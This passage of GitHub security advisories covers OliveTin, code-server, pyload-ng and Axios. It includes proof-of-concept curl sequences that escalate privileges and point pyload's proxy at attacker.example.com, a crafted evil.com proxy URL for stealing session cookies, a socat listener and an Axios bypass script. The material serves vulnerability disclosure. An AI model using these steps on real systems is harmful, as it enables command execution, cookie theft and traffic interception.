  "details": "### Summary\nAn authentication context confusion vulnerability in RestartAction allows a low\u2011privileged authenticated user to execute actions they are not permitted to run.\n\nRestartAction constructs a new internal connect.Request without preserving the original caller\u2019s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.\n\nThis vulnerability allows a low\u2011privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.\n\n### Details\nAffected files:\n\nservice/internal/api/api.go\n\nservice/internal/auth/authcheck.go\n\nRelevant code in RestartAction:\n\n```\nreturn api.StartAction(ctx, \u0026connect.Request[apiv1.StartActionRequest]{\n    Msg: \u0026apiv1.StartActionRequest{\n        BindingId:        execReqLogEntry.GetBindingId(),\n        UniqueTrackingId: req.Msg.ExecutionTrackingId,\n    },\n})\n```\nAuthentication in StartAction:\n```\nauthenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)\n```\nIssue:\n\n1. RestartAction creates a new connect.Request object.\n\n2. The new request does not preserve caller headers or cookies.\n\n3. UserFromApiCall() attempts to resolve the user from the request.\n\n4. Because authentication headers are missing, it falls back to the guest user.\n\n5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.\n\n### PoC\n\nConfiguration:\n```\ndefaultPermissions:\n  exec: false\n\nusers:\n  - username: low\n    password: lowpass\n    permissions:\n      exec: false\n\n  - username: guest\n    permissions:\n      exec: true\n\nactions:\n  - id: restart_bypass_action\n    shell: |\n      echo \"pwned\" \u003e /tmp/olivetin_restart_bypass.txt\n```\n\nSteps to reproduce:\n\nLogin as low user\n```\nLOW_LOGIN=$(curl -sS -i -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"low\",\"password\":\"lowpass\"}\u0027)\n\nLOW_SID=$(printf \u0027%s\\n\u0027 \"$LOW_LOGIN\" | tr -d \u0027\\r\u0027 | \\\n  awk -F\u0027[=;]\u0027 \u0027/^Set-Cookie: olivetin-sid-local=/{print $2; exit}\u0027)\n```\nAttempt direct execution (correctly blocked)\n```\nLOW_RUN=$(curl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \u0027{\"actionId\":\"restart_bypass_action\"}\u0027)\n\necho \"$LOW_RUN\"\n```\nThis should return permission denied.\n\nExtract executionTrackingId from response:\n```\nTRACKING_ID=$(printf \u0027%s\u0027 \"$LOW_RUN\" | \\\n  sed -n \u0027s/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p\u0027 | head -n1)\n\necho \"Tracking ID: $TRACKING_ID\"\n```\nCall RestartAction:\n```\ncurl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \"{\\\"executionTrackingId\\\":\\\"$TRACKING_ID\\\"}\"\n```\nVerify command executed:\n```\ncat /tmp/olivetin_restart_bypass.txt\n```\nOutput:\n```\npwned\n```\n\n### Impact\n- Privilege Escalation\n- ACL Bypass\n- Unauthorized Command Execution\n\nAny authenticated low-privilege user can execute actions they are not authorized to run if:\n- Guest has broader permissions\n- RestartAction is enabled\nBecause OliveTin actions execute system shell commands, this can lead to:\n- Arbitrary file writes\n- Sensitive data exposure\n- Potential full host compromise (depending on OliveTin runtime privileges)\n\nThis affects all deployments where:\n- guest.exec = true\n- A restricted user has exec = false\n- RestartAction endpoint is accessible",
  "id": "GHSA-p443-p7w5-2f7f",
  "modified": "2026-03-06T22:52:19Z",
  "published": "2026-03-05T20:53:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin\u0027s RestartAction always runs actions as guest"
}

GHSA-P483-WPFP-42CJ

Vulnerability from github – Published: 2025-05-09 19:34 – Updated: 2025-05-09 21:39
VLAI
Summary
code-server's session cookie can be extracted by having user visit specially crafted proxy URL
Details

Summary

A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "code-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.99.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-09T19:34:35Z",
    "nvd_published_at": "2025-05-09T21:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://\u003ccode-server\u003e/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user\u0027s session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker\u0027s domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
  "id": "GHSA-p483-wpfp-42cj",
  "modified": "2025-05-09T21:39:15Z",
  "published": "2025-05-09T19:34:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/code-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/releases/tag/v4.99.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "code-server\u0027s session cookie can be extracted by having user visit specially crafted proxy URL"
}

GHSA-PG67-9WJV-MR85

Vulnerability from github – Published: 2026-05-04 22:08 – Updated: 2026-06-08 19:48
VLAI
Summary
pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)
Details

Summary

The set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.

Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.

This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy.* fields are jointly required to weaponize the miss and are patched together.

Details

Writer — src/pyload/core/api/__init__.py, set_config_value() (around lines 215–290). The allowlist:

ADMIN_ONLY_CORE_OPTIONS = {
    ("general", "storage_folder"),
    ("log", "syslog_host"), ("log", "syslog_port"),
    ("proxy", "password"), ("proxy", "username"),   # <-- credentials gated
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "ssl_certfile"), ("webui", "ssl_keyfile"), ("webui", "ssl_certchain"),
    ("webui", "use_ssl"),
}

("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.

Reader — src/pyload/core/network/request_factory.py:82-100:

def get_proxies(self):
    if not self.pyload.config.get("proxy", "enabled"):
        return {}
    proxy_type     = self.pyload.config.get("proxy", "type")
    proxy_host     = self.pyload.config.get("proxy", "host")
    proxy_port     = self.pyload.config.get("proxy", "port")
    proxy_username = self.pyload.config.get("proxy", "username") or None
    proxy_password = self.pyload.config.get("proxy", "password") or None
    return {"type": proxy_type, ..., "host": proxy_host, "port": proxy_port, ...}

Sink — src/pyload/core/network/http/http_request.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. get_proxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.

PoC

Authenticated as any user with Perms.SETTINGS (non-admin role):

# 1) Log in as the SETTINGS (non-admin) user.
curl -c cookies.txt -X POST http://pyload.example:8000/api/login \
    -d 'username=settings_user&password=<password>'

# 2) Redirect all outbound traffic through attacker.example.com:8080.
for kv in \
    'category=proxy&option=enabled&value=True' \
    'category=proxy&option=host&value=attacker.example.com' \
    'category=proxy&option=port&value=8080' \
    'category=proxy&option=type&value=http' ; do
  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \
      -d "$kv&section=core"
done

# 3) Enqueue any download (or wait for any periodic update / captcha
#    fetch). The attacker's server receives the full request — URL,
#    query string (often carrying auth tokens on download sites),
#    headers, cookies — and can inject an arbitrary response body.

Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. socat -v TCP-LISTEN:8080,fork,reuseaddr -), trigger any pyload download, and observe the full request on the listener.

Impact

  • Who: any authenticated user whose role was granted Perms.SETTINGS. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.
  • What:
    1. Full interception of all outbound HTTP traffic: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.
    2. Credential theft from any download-site auth cookies or bearer tokens that affected plugins send.
    3. Arbitrary response injection — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.
    4. Chains with the sibling ssl_verify advisory: if the attacker additionally sets general.ssl_verify=off (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what set_config_value already permits to a SETTINGS user.
  • Why gating the credentials alone is insufficient: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.
Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev99"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T22:08:26Z",
    "nvd_published_at": "2026-05-11T18:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `(\"proxy\", \"username\")` and `(\"proxy\", \"password\")` \u2014 which protect the proxy credentials \u2014 but it does **not** include `(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, or `(\"proxy\", \"type\")`. Any authenticated user with the non-admin `SETTINGS` permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.\n\nGating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload\u0027s proxy-auth secret. `proxy.username` / `proxy.password` were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.\n\nThis is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here \u2014 the four `proxy.*` fields are jointly required to weaponize the miss and are patched together.\n\n### Details\n\n**Writer** \u2014 `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215\u2013290). The allowlist:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n    (\"general\", \"storage_folder\"),\n    (\"log\", \"syslog_host\"), (\"log\", \"syslog_port\"),\n    (\"proxy\", \"password\"), (\"proxy\", \"username\"),   # \u003c-- credentials gated\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"ssl_certfile\"), (\"webui\", \"ssl_keyfile\"), (\"webui\", \"ssl_certchain\"),\n    (\"webui\", \"use_ssl\"),\n}\n```\n\n`(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, `(\"proxy\", \"type\")` are absent.\n\n**Reader** \u2014 `src/pyload/core/network/request_factory.py:82-100`:\n\n```python\ndef get_proxies(self):\n    if not self.pyload.config.get(\"proxy\", \"enabled\"):\n        return {}\n    proxy_type     = self.pyload.config.get(\"proxy\", \"type\")\n    proxy_host     = self.pyload.config.get(\"proxy\", \"host\")\n    proxy_port     = self.pyload.config.get(\"proxy\", \"port\")\n    proxy_username = self.pyload.config.get(\"proxy\", \"username\") or None\n    proxy_password = self.pyload.config.get(\"proxy\", \"password\") or None\n    return {\"type\": proxy_type, ..., \"host\": proxy_host, \"port\": proxy_port, ...}\n```\n\n**Sink** \u2014 `src/pyload/core/network/http/http_request.py` (around lines 211\u2013230) passes the dict to pycurl via `PROXY` / `PROXYPORT` / `PROXYTYPE` options. `get_proxies()` is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request \u2014 no restart required.\n\n### PoC\n\nAuthenticated as any user with `Perms.SETTINGS` (non-admin role):\n\n```bash\n# 1) Log in as the SETTINGS (non-admin) user.\ncurl -c cookies.txt -X POST http://pyload.example:8000/api/login \\\n    -d \u0027username=settings_user\u0026password=\u003cpassword\u003e\u0027\n\n# 2) Redirect all outbound traffic through attacker.example.com:8080.\nfor kv in \\\n    \u0027category=proxy\u0026option=enabled\u0026value=True\u0027 \\\n    \u0027category=proxy\u0026option=host\u0026value=attacker.example.com\u0027 \\\n    \u0027category=proxy\u0026option=port\u0026value=8080\u0027 \\\n    \u0027category=proxy\u0026option=type\u0026value=http\u0027 ; do\n  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \\\n      -d \"$kv\u0026section=core\"\ndone\n\n# 3) Enqueue any download (or wait for any periodic update / captcha\n#    fetch). The attacker\u0027s server receives the full request \u2014 URL,\n#    query string (often carrying auth tokens on download sites),\n#    headers, cookies \u2014 and can inject an arbitrary response body.\n```\n\nVerification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v TCP-LISTEN:8080,fork,reuseaddr -`), trigger any pyload download, and observe the full request on the listener.\n\n### Impact\n\n- **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.\n- **What**:\n    1. **Full interception of all outbound HTTP traffic**: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.\n    2. **Credential theft** from any download-site auth cookies or bearer tokens that affected plugins send.\n    3. **Arbitrary response injection** \u2014 poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.\n    4. **Chains with the sibling `ssl_verify` advisory**: if the attacker additionally sets `general.ssl_verify=off` (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what `set_config_value` already permits to a SETTINGS user.\n- **Why gating the credentials alone is insufficient**: already covered in the summary \u2014 the attacker owns the proxy endpoint, so they do not need pyload\u0027s proxy-auth creds.",
  "id": "GHSA-pg67-9wjv-mr85",
  "modified": "2026-06-08T19:48:19Z",
  "published": "2026-05-04T22:08:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42313"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4744-96p5-mp2j"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-ppvx-rwh9-7rj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r7mc-x6x7-cqxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-w48f-wwwf-f5fr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-127.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)"
}

GHSA-PMWG-CVHR-8VH7

Vulnerability from github – Published: 2026-05-05 00:20 – Updated: 2026-05-05 00:20
VLAI
Summary
Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
Details

1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification This bypass has been independently verified on:

  • Axios version: 1.15.0 (latest patched release)
  • Node.js version: v22.16.0
  • OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location

Field Detail
File lib/helpers/shouldBypassProxy.js
Primary Flaw isLoopback() — Line 1–3
Supporting Function shouldBypassProxy() — Line 59–110
Axios Version 1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

01_axios_version_verification

Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

02_vulnerable_code_loopback_addresses

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

03_rfc1122_loopback_definition

2.6 Step-by-Step Bypass Execution Trace Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect Original Bug This Finding
What was wrong No normalization before comparison Incomplete loopback address set
Fix applied Added normalizeNoProxyHost() None set remains hardcoded
RFC compliance Violated RFC 1034 & RFC 3986 Violates RFC 1122 §3.2.1.3
Bypass method Alternate string representation Alternate valid loopback address
Impact NO_PROXY bypass → SSRF NO_PROXY bypass → SSRF (identical) 
**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

  • Internal microservices and admin dashboards using dedicated loopback IPs
  • Development environments with multiple isolated service instances
  • Docker and container bridge network configurations
  • Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios
# Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
